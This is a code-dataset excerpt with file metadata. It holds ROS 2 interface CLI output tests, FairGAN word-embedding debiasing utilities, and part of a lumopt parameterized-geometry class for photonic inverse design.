strict=True
)
def test_show_nested_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/NestedMessage']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'# goal definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'# result definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'# feedback',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_no_comments_for_nested_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/NestedMessage', '--no-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_all_comments_for_nested_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/NestedMessage', '--all-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'# goal definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\t# Duration defines a period between two time points.',
'\t\t# Messages of this datatype are of ROS Time following this design:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# Seconds component, range is valid over any possible int32 value.',
'\t\tint32 sec',
'',
'\t\t# Nanoseconds component in the range of [0, 10e9).',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\t# This message communicates ROS Time defined here:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# The seconds component, valid over all int32 values.',
'\t\tint32 sec',
'',
'\t\t# The nanoseconds component, valid in the range [0, 10e9).',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
'---',
'# result definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\t# Duration defines a period between two time points.',
'\t\t# Messages of this datatype are of ROS Time following this design:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# Seconds component, range is valid over any possible int32 value.',
'\t\tint32 sec',
'',
'\t\t# Nanoseconds component in the range of [0, 10e9).',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\t# This message communicates ROS Time defined here:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# The seconds component, valid over all int32 values.',
'\t\tint32 sec',
'',
'\t\t# The nanoseconds component, valid in the range [0, 10e9).',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
'---',
'# feedback',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\t# Duration defines a period between two time points.',
'\t\t# Messages of this datatype are of ROS Time following this design:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# Seconds component, range is valid over any possible int32 value.',
'\t\tint32 sec',
'',
'\t\t# Nanoseconds component in the range of [0, 10e9).',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\t# This message communicates ROS Time defined here:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# The seconds component, valid over all int32 values.',
'\t\tint32 sec',
'',
'\t\t# The nanoseconds component, valid in the range [0, 10e9).',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_not_a_package(self):
with self.launch_interface_command(
arguments=['show', 'not_a_package/msg/String']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == 1
assert launch_testing.tools.expect_output(
expected_lines=["Unknown package 'not_a_package'"],
text=interface_command.output,
strict=True
)
def test_show_not_an_interface(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/NotAMessageTypeName']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == 1
assert launch_testing.tools.expect_output(
expected_lines=[re.compile(
r"Could not find the interface '.+NotAMessageTypeName\.idl'"
)],
text=interface_command.output,
strict=True
)
def test_show_stdin(self):
with self.launch_interface_command(
arguments=['show', '-'],
prepend_arguments=[
sys.executable, '-c', r'"print(\"test_msgs/msg/BasicTypes\")"', '|'
],
shell=True
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
],
text=interface_command.output,
strict=True
)
| true | true |
f7261a33bda347e1351ccdc5511b79b1e79f4d69 | 10,223 | py | Python | we.py | TimeTraveller-San/FairGAN | 526c2937714fc322714db54dc6a3f392f2c88e18 | [
"MIT"
] | 8 | 2020-03-06T12:53:53.000Z | 2021-08-31T18:11:36.000Z | we.py | TimeTraveller-San/FairGAN | 526c2937714fc322714db54dc6a3f392f2c88e18 | [
"MIT"
] | null | null | null | we.py | TimeTraveller-San/FairGAN | 526c2937714fc322714db54dc6a3f392f2c88e18 | [
"MIT"
] | null | null | null | from __future__ import print_function, division
import re
import sys
import numpy as np
import scipy.sparse
import codecs
from sklearn.decomposition import PCA
if sys.version_info[0] < 3:
import io
open = io.open
else:
unicode = str
"""
Tools for debiasing word embeddings
Man is to Computer Programmer as Woman is to Homemaker? Debiasing Word Embeddings
Tolga Bolukbasi, Kai-Wei Chang, James Zou, Venkatesh Saligrama, and Adam Kalai
2016
"""
DEFAULT_NUM_WORDS = 27000
FILENAMES = {"g_wiki": "glove.6B.300d.small.txt",
"g_twitter": "glove.twitter.27B.200d.small.txt",
"g_crawl": "glove.840B.300d.small.txt",
"w2v": "GoogleNews-word2vec.small.txt",
"w2v_large": "GoogleNews-word2vec.txt"}
def dedup(seq):
seen = set()
return [x for x in seq if not (x in seen or seen.add(x))]
def safe_word(w):
# ignore words with numbers, etc.
# [a-zA-Z\.'_\- :;\(\)\]] for emoticons
return (re.match(r"^[a-z_]*$", w) and len(w) < 20 and not re.match(r"^_*$", w))
def to_utf8(text, errors='strict', encoding='utf8'):
"""Convert a string (unicode or bytestring in `encoding`), to bytestring in utf8."""
if isinstance(text, unicode):
return text.encode('utf8')
# do bytestring -> unicode -> utf8 full circle, to ensure valid utf8
return unicode(text, encoding, errors=errors).encode('utf8')
def load_embeddings_from_np(filename):
print('loading ...')
with codecs.open(filename + '.vocab', 'r', 'utf-8') as f_embed:
vocab = [line.strip() for line in f_embed]
wv = np.load(filename + '.wv.npy')
return vocab, wv
class WordEmbedding:
def __init__(self, fname):
self.thresh = None
self.max_words = None
self.desc = fname
print("*** Reading data from " + fname)
if fname.endswith(".bin"):
import gensim.models
model = gensim.models.KeyedVectors.load_word2vec_format(fname, binary=True)
words = sorted([w for w in model.vocab], key=lambda w: model.vocab[w].index)
vecs = [model[w] for w in words]
elif fname.endswith(".txt"):
print("Loading w2vec format")
vecs = []
words = []
with open(fname, "r") as f:
lines = f.readlines()
for line in lines:
tokens = line.split()
v = np.array([float(x) for x in tokens[-300:]])
w = "_".join([str(x) for x in tokens[:-300]])
if len(v) != 300:
print(f"Weird line: {tokens} | {len(v)}")
continue
words.append(w)
vecs.append(v)
else:
print("Loading numpy format")
words, vecs = load_embeddings_from_np(fname)
self.vecs = np.array(vecs, dtype='float32')
print(self.vecs.shape)
self.words = words
self.reindex()
norms = np.linalg.norm(self.vecs, axis=1)
if max(norms)-min(norms) > 0.0001:
self.normalize()
def reindex(self):
self.index = {w: i for i, w in enumerate(self.words)}
self.rindex = {i: w for i, w in enumerate(self.words)}
self.n, self.d = self.vecs.shape
assert self.n == len(self.words) == len(self.index)
self._neighbors = None
print(self.n, "words of dimension", self.d, ":", ", ".join(self.words[:4] + ["..."] + self.words[-4:]))
def v(self, word):
return self.vecs[self.index[word]]
def diff(self, word1, word2):
v = self.vecs[self.index[word1]] - self.vecs[self.index[word2]]
return v/np.linalg.norm(v)
def normalize(self):
self.desc += ", normalize"
self.vecs /= np.linalg.norm(self.vecs, axis=1)[:, np.newaxis]
self.reindex()
def shrink(self, numwords):
self.desc += ", shrink " + str(numwords)
self.filter_words(lambda w: self.index[w]<numwords)
def filter_words(self, test):
"""
Keep some words based on test, e.g. lambda x: x.lower()==x
"""
self.desc += ", filter"
kept_indices, words = zip(*[[i, w] for i, w in enumerate(self.words) if test(w)])
self.words = list(words)
self.vecs = self.vecs[kept_indices, :]
self.reindex()
def save(self, filename):
with open(filename, "w") as f:
f.write("\n".join([w+" " + " ".join([str(x) for x in v]) for w, v in zip(self.words, self.vecs)]))
print("Wrote", self.n, "words to", filename)
def save_w2v(self, filename, binary=True):
with open(filename, 'wb') as fout:
fout.write(to_utf8("%s %s\n" % self.vecs.shape))
# store in sorted order: most frequent words at the top
for i, word in enumerate(self.words):
row = self.vecs[i]
if binary:
fout.write(to_utf8(word) + b" " + row.tostring())
else:
fout.write(to_utf8("%s %s\n" % (word, ' '.join("%f" % val for val in row))))
def remove_directions(self, directions): #directions better be orthogonal
self.desc += ", removed"
for direction in directions:
self.desc += " "
if type(direction) is np.ndarray:
v = direction / np.linalg.norm(direction)
self.desc += "vector "
else:
w1, w2 = direction
v = self.diff(w1, w2)
self.desc += w1 + "-" + w2
self.vecs = self.vecs - self.vecs.dot(v)[:, np.newaxis].dot(v[np.newaxis, :])
self.normalize()
def compute_neighbors_if_necessary(self, thresh, max_words):
thresh = float(thresh) # dang python 2.7!
if self._neighbors is not None and self.thresh == thresh and self.max_words == max_words:
return
print("Computing neighbors")
self.thresh = thresh
self.max_words = max_words
vecs = self.vecs[:max_words]
dots = vecs.dot(vecs.T)
dots = scipy.sparse.csr_matrix(dots * (dots >= 1-thresh/2))
from collections import Counter
rows, cols = dots.nonzero()
nums = list(Counter(rows).values())
print("Mean:", np.mean(nums)-1)
print("Median:", np.median(nums)-1)
rows, cols, vecs = zip(*[(i, j, vecs[i]-vecs[j]) for i, j, x in zip(rows, cols, dots.data) if i<j])
self._neighbors = rows, cols, np.array([v/np.linalg.norm(v) for v in vecs])
def neighbors(self, word, thresh=1):
dots = self.vecs.dot(self.v(word))
dd = dict(zip([abs(dot) for dot in dots], [i for i in range(len(dots))]))
ns=[]
for dot in sorted(dd, reverse=True):
if dot>1-thresh/2:
ns.append(self.words[int(dd[dot])])
return ns[1:] #Since first word is the word itself
def neighborsNoSort(self, word, thresh=1):
dots = self.vecs.dot(self.v(word))
dd = dict(zip([abs(dot) for dot in dots], [i for i in range(len(dots))]))
ns=[]
for dot in sorted(dd, reverse=True):
if dot>1-thresh/2:
ns.append(self.words[int(dd[dot])])
return ns[1:] #Since first word is the word itself
def more_words_like_these(self, words, topn=50, max_freq=100000):
v = sum(self.v(w) for w in words)
dots = self.vecs[:max_freq].dot(v)
thresh = sorted(dots)[-topn]
words = [w for w, dot in zip(self.words, dots) if dot>=thresh]
return sorted(words, key=lambda w: self.v(w).dot(v))[-topn:][::-1]
def best_analogies_dist_thresh(self, v, thresh=1, topn=500, max_words=50000):
"""Metric is cos(a-c, b-d) if |b-d|^2 < thresh, otherwise 0
"""
vecs, vocab = self.vecs[:max_words], self.words[:max_words]
self.compute_neighbors_if_necessary(thresh, max_words)
rows, cols, vecs = self._neighbors
scores = vecs.dot(v/np.linalg.norm(v))
pi = np.argsort(-abs(scores))
ans = []
usedL = set()
usedR = set()
for i in pi:
if abs(scores[i])<0.001:
break
row = rows[i] if scores[i] > 0 else cols[i]
col = cols[i] if scores[i] > 0 else rows[i]
if row in usedL or col in usedR:
continue
usedL.add(row)
usedR.add(col)
ans.append((vocab[row], vocab[col], abs(scores[i])))
if len(ans)==topn:
break
return ans
def viz(analogies):
print("\n".join(str(i).rjust(4)+a[0].rjust(29) + " | " + a[1].ljust(29) + (str(a[2]))[:4] for i, a in enumerate(analogies)))
def text_plot_words(xs, ys, words, width = 90, height = 40, filename=None):
PADDING = 10 # num chars on left and right in case words spill over
res = [[' ' for i in range(width)] for j in range(height)]
def rescale(nums):
a = min(nums)
b = max(nums)
return [(x-a)/(b-a) for x in nums]
print("x:", (min(xs), max(xs)), "y:",(min(ys),max(ys)))
xs = rescale(xs)
ys = rescale(ys)
for (x, y, word) in zip(xs, ys, words):
i = int(x*(width - 1 - PADDING))
j = int(y*(height-1))
row = res[j]
z = list(row[i2] != ' ' for i2 in range(max(i-1, 0), min(width, i + len(word) + 1)))
if any(z):
continue
for k in range(len(word)):
if i+k>=width:
break
row[i+k] = word[k]
string = "\n".join("".join(r) for r in res)
# return string
if filename:
with open(filename, "w", encoding="utf8") as f:
f.write(string)
print("Wrote to", filename)
else:
print(string)
def doPCA(pairs, embedding, num_components = 10):
matrix = []
for a, b in pairs:
center = (embedding.v(a) + embedding.v(b))/2
matrix.append(embedding.v(a) - center)
matrix.append(embedding.v(b) - center)
matrix = np.array(matrix)
pca = PCA(n_components = num_components)
pca.fit(matrix)
# bar(range(num_components), pca.explained_variance_ratio_)
return pca
def drop(u, v):
return u - v * u.dot(v) / v.dot(v)
| 36.773381 | 128 | 0.555806 | from __future__ import print_function, division
import re
import sys
import numpy as np
import scipy.sparse
import codecs
from sklearn.decomposition import PCA
if sys.version_info[0] < 3:
import io
open = io.open
else:
unicode = str
DEFAULT_NUM_WORDS = 27000
FILENAMES = {"g_wiki": "glove.6B.300d.small.txt",
"g_twitter": "glove.twitter.27B.200d.small.txt",
"g_crawl": "glove.840B.300d.small.txt",
"w2v": "GoogleNews-word2vec.small.txt",
"w2v_large": "GoogleNews-word2vec.txt"}
def dedup(seq):
seen = set()
return [x for x in seq if not (x in seen or seen.add(x))]
def safe_word(w):
return (re.match(r"^[a-z_]*$", w) and len(w) < 20 and not re.match(r"^_*$", w))
def to_utf8(text, errors='strict', encoding='utf8'):
if isinstance(text, unicode):
return text.encode('utf8')
# do bytestring -> unicode -> utf8 full circle, to ensure valid utf8
return unicode(text, encoding, errors=errors).encode('utf8')
def load_embeddings_from_np(filename):
print('loading ...')
with codecs.open(filename + '.vocab', 'r', 'utf-8') as f_embed:
vocab = [line.strip() for line in f_embed]
wv = np.load(filename + '.wv.npy')
return vocab, wv
class WordEmbedding:
def __init__(self, fname):
self.thresh = None
self.max_words = None
self.desc = fname
print("*** Reading data from " + fname)
if fname.endswith(".bin"):
import gensim.models
model = gensim.models.KeyedVectors.load_word2vec_format(fname, binary=True)
words = sorted([w for w in model.vocab], key=lambda w: model.vocab[w].index)
vecs = [model[w] for w in words]
elif fname.endswith(".txt"):
print("Loading w2vec format")
vecs = []
words = []
with open(fname, "r") as f:
lines = f.readlines()
for line in lines:
tokens = line.split()
v = np.array([float(x) for x in tokens[-300:]])
w = "_".join([str(x) for x in tokens[:-300]])
if len(v) != 300:
print(f"Weird line: {tokens} | {len(v)}")
continue
words.append(w)
vecs.append(v)
else:
print("Loading numpy format")
words, vecs = load_embeddings_from_np(fname)
self.vecs = np.array(vecs, dtype='float32')
print(self.vecs.shape)
self.words = words
self.reindex()
norms = np.linalg.norm(self.vecs, axis=1)
if max(norms)-min(norms) > 0.0001:
self.normalize()
def reindex(self):
self.index = {w: i for i, w in enumerate(self.words)}
self.rindex = {i: w for i, w in enumerate(self.words)}
self.n, self.d = self.vecs.shape
assert self.n == len(self.words) == len(self.index)
self._neighbors = None
print(self.n, "words of dimension", self.d, ":", ", ".join(self.words[:4] + ["..."] + self.words[-4:]))
def v(self, word):
return self.vecs[self.index[word]]
def diff(self, word1, word2):
v = self.vecs[self.index[word1]] - self.vecs[self.index[word2]]
return v/np.linalg.norm(v)
def normalize(self):
self.desc += ", normalize"
self.vecs /= np.linalg.norm(self.vecs, axis=1)[:, np.newaxis]
self.reindex()
def shrink(self, numwords):
self.desc += ", shrink " + str(numwords)
self.filter_words(lambda w: self.index[w]<numwords)
def filter_words(self, test):
self.desc += ", filter"
kept_indices, words = zip(*[[i, w] for i, w in enumerate(self.words) if test(w)])
self.words = list(words)
self.vecs = self.vecs[kept_indices, :]
self.reindex()
def save(self, filename):
with open(filename, "w") as f:
f.write("\n".join([w+" " + " ".join([str(x) for x in v]) for w, v in zip(self.words, self.vecs)]))
print("Wrote", self.n, "words to", filename)
def save_w2v(self, filename, binary=True):
with open(filename, 'wb') as fout:
fout.write(to_utf8("%s %s\n" % self.vecs.shape))
# store in sorted order: most frequent words at the top
for i, word in enumerate(self.words):
row = self.vecs[i]
if binary:
fout.write(to_utf8(word) + b" " + row.tostring())
else:
fout.write(to_utf8("%s %s\n" % (word, ' '.join("%f" % val for val in row))))
def remove_directions(self, directions): #directions better be orthogonal
self.desc += ", removed"
for direction in directions:
self.desc += " "
if type(direction) is np.ndarray:
v = direction / np.linalg.norm(direction)
self.desc += "vector "
else:
w1, w2 = direction
v = self.diff(w1, w2)
self.desc += w1 + "-" + w2
self.vecs = self.vecs - self.vecs.dot(v)[:, np.newaxis].dot(v[np.newaxis, :])
self.normalize()
def compute_neighbors_if_necessary(self, thresh, max_words):
thresh = float(thresh) # dang python 2.7!
if self._neighbors is not None and self.thresh == thresh and self.max_words == max_words:
return
print("Computing neighbors")
self.thresh = thresh
self.max_words = max_words
vecs = self.vecs[:max_words]
dots = vecs.dot(vecs.T)
dots = scipy.sparse.csr_matrix(dots * (dots >= 1-thresh/2))
from collections import Counter
rows, cols = dots.nonzero()
nums = list(Counter(rows).values())
print("Mean:", np.mean(nums)-1)
print("Median:", np.median(nums)-1)
rows, cols, vecs = zip(*[(i, j, vecs[i]-vecs[j]) for i, j, x in zip(rows, cols, dots.data) if i<j])
self._neighbors = rows, cols, np.array([v/np.linalg.norm(v) for v in vecs])
def neighbors(self, word, thresh=1):
dots = self.vecs.dot(self.v(word))
dd = dict(zip([abs(dot) for dot in dots], [i for i in range(len(dots))]))
ns=[]
for dot in sorted(dd, reverse=True):
if dot>1-thresh/2:
ns.append(self.words[int(dd[dot])])
return ns[1:] #Since first word is the word itself
def neighborsNoSort(self, word, thresh=1):
dots = self.vecs.dot(self.v(word))
dd = dict(zip([abs(dot) for dot in dots], [i for i in range(len(dots))]))
ns=[]
for dot in sorted(dd, reverse=True):
if dot>1-thresh/2:
ns.append(self.words[int(dd[dot])])
return ns[1:] #Since first word is the word itself
def more_words_like_these(self, words, topn=50, max_freq=100000):
v = sum(self.v(w) for w in words)
dots = self.vecs[:max_freq].dot(v)
thresh = sorted(dots)[-topn]
words = [w for w, dot in zip(self.words, dots) if dot>=thresh]
return sorted(words, key=lambda w: self.v(w).dot(v))[-topn:][::-1]
def best_analogies_dist_thresh(self, v, thresh=1, topn=500, max_words=50000):
vecs, vocab = self.vecs[:max_words], self.words[:max_words]
self.compute_neighbors_if_necessary(thresh, max_words)
rows, cols, vecs = self._neighbors
scores = vecs.dot(v/np.linalg.norm(v))
pi = np.argsort(-abs(scores))
ans = []
usedL = set()
usedR = set()
for i in pi:
if abs(scores[i])<0.001:
break
row = rows[i] if scores[i] > 0 else cols[i]
col = cols[i] if scores[i] > 0 else rows[i]
if row in usedL or col in usedR:
continue
usedL.add(row)
usedR.add(col)
ans.append((vocab[row], vocab[col], abs(scores[i])))
if len(ans)==topn:
break
return ans
def viz(analogies):
print("\n".join(str(i).rjust(4)+a[0].rjust(29) + " | " + a[1].ljust(29) + (str(a[2]))[:4] for i, a in enumerate(analogies)))
def text_plot_words(xs, ys, words, width = 90, height = 40, filename=None):
PADDING = 10 # num chars on left and right in case words spill over
res = [[' ' for i in range(width)] for j in range(height)]
def rescale(nums):
a = min(nums)
b = max(nums)
return [(x-a)/(b-a) for x in nums]
print("x:", (min(xs), max(xs)), "y:",(min(ys),max(ys)))
xs = rescale(xs)
ys = rescale(ys)
for (x, y, word) in zip(xs, ys, words):
i = int(x*(width - 1 - PADDING))
j = int(y*(height-1))
row = res[j]
z = list(row[i2] != ' ' for i2 in range(max(i-1, 0), min(width, i + len(word) + 1)))
if any(z):
continue
for k in range(len(word)):
if i+k>=width:
break
row[i+k] = word[k]
string = "\n".join("".join(r) for r in res)
# return string
if filename:
with open(filename, "w", encoding="utf8") as f:
f.write(string)
print("Wrote to", filename)
else:
print(string)
def doPCA(pairs, embedding, num_components = 10):
matrix = []
for a, b in pairs:
center = (embedding.v(a) + embedding.v(b))/2
matrix.append(embedding.v(a) - center)
matrix.append(embedding.v(b) - center)
matrix = np.array(matrix)
pca = PCA(n_components = num_components)
pca.fit(matrix)
# bar(range(num_components), pca.explained_variance_ratio_)
return pca
def drop(u, v):
return u - v * u.dot(v) / v.dot(v)
| true | true |
f7261adeb044fff4db6dbfd9fb7364d1c5977719 | 2,556 | py | Python | PDK_Generator/inverse_design_y_branch/lumopt/geometries/parameterized_geometry.py | seanlam97/PDK_Generator | 15c1f4f56575f8e21ea874443d06ef740ccb5aa5 | [
"MIT"
] | null | null | null | PDK_Generator/inverse_design_y_branch/lumopt/geometries/parameterized_geometry.py | seanlam97/PDK_Generator | 15c1f4f56575f8e21ea874443d06ef740ccb5aa5 | [
"MIT"
] | 3 | 2021-08-24T23:31:42.000Z | 2021-08-25T16:45:54.000Z | PDK_Generator/inverse_design_y_branch/lumopt/geometries/parameterized_geometry.py | seanlam97/PDK_Generator | 15c1f4f56575f8e21ea874443d06ef740ccb5aa5 | [
"MIT"
] | null | null | null | import numpy as np
import inspect
from lumopt.geometries.geometry import Geometry
class ParameterizedGeometry(Geometry):
"""
Defines a parametrized geometry using any of the built-in geometric structures available in the FDTD CAD.
Users must provide a Python function with the signature ('params', 'fdtd', 'only_update'). The function
must take the optimization parameters and a handle to the FDTD CAD to build the geometry under optimization
(material assignments included). The flag 'only_update' is used to avoid frequent recreations of the parameterized
geometry: when the flag is true, it is assumed that the geometry was already added at least once to the CAD.
Parameters
----------
:param func: function with the signature ('params', 'fdtd', 'only_update', **kwargs).
:param initial_params: flat array with the initial optimization parameter values.
:param bounds: bounding ranges (min/max pairs) for each optimization parameter.
:param dx: step size for computing the figure of merit gradient using permittivity perturbations.
"""
def __init__(self, func, initial_params, bounds, dx, deps_num_threads=1):
self.deps_num_threads=deps_num_threads
self.func = func
self.current_params = np.array(initial_params).flatten()
self.bounds = bounds
self.dx = float(dx)
if inspect.isfunction(self.func):
bound_args = inspect.signature(self.func).bind('params', 'fdtd', 'only_update')
if bound_args.args != ('params', 'fdtd', 'only_update'):
raise UserWarning("user defined function does not take three positional arguments.")
else:
raise UserWarning("argument 'func' must be a Python function.")
if self.dx <= 0.0:
raise UserWarning("step size must be positive.")
self.params_hist = list(self.current_params)
def update_geometry(self, params, sim):
self.current_params = params
self.params_hist.append(params)
def get_current_params(self):
return self.current_params
def calculate_gradients(self, gradient_fields):
raise UserWarning("unsupported gradient calculation method.")
def add_geo(self, sim, params, only_update):
sim.fdtd.switchtolayout()
if params is None:
return self.func(self.current_params, sim.fdtd, only_update)
else:
return self.func(params, sim.fdtd, only_update)
| 45.642857 | 122 | 0.673709 | import numpy as np
import inspect
from lumopt.geometries.geometry import Geometry
class ParameterizedGeometry(Geometry):
def __init__(self, func, initial_params, bounds, dx, deps_num_threads=1):
self.deps_num_threads=deps_num_threads
self.func = func
self.current_params = np.array(initial_params).flatten()
self.bounds = bounds
self.dx = float(dx)
if inspect.isfunction(self.func):
bound_args = inspect.signature(self.func).bind('params', 'fdtd', 'only_update')
if bound_args.args != ('params', 'fdtd', 'only_update'):
raise UserWarning("user defined function does not take three positional arguments.")
else:
raise UserWarning("argument 'func' must be a Python function.")
if self.dx <= 0.0:
raise UserWarning("step size must be positive.")
self.params_hist = list(self.current_params)
def update_geometry(self, params, sim):
self.current_params = params
self.params_hist.append(params)
def get_current_params(self):
return self.current_params
def calculate_gradients(self, gradient_fields):
raise UserWarning("unsupported gradient calculation method.")
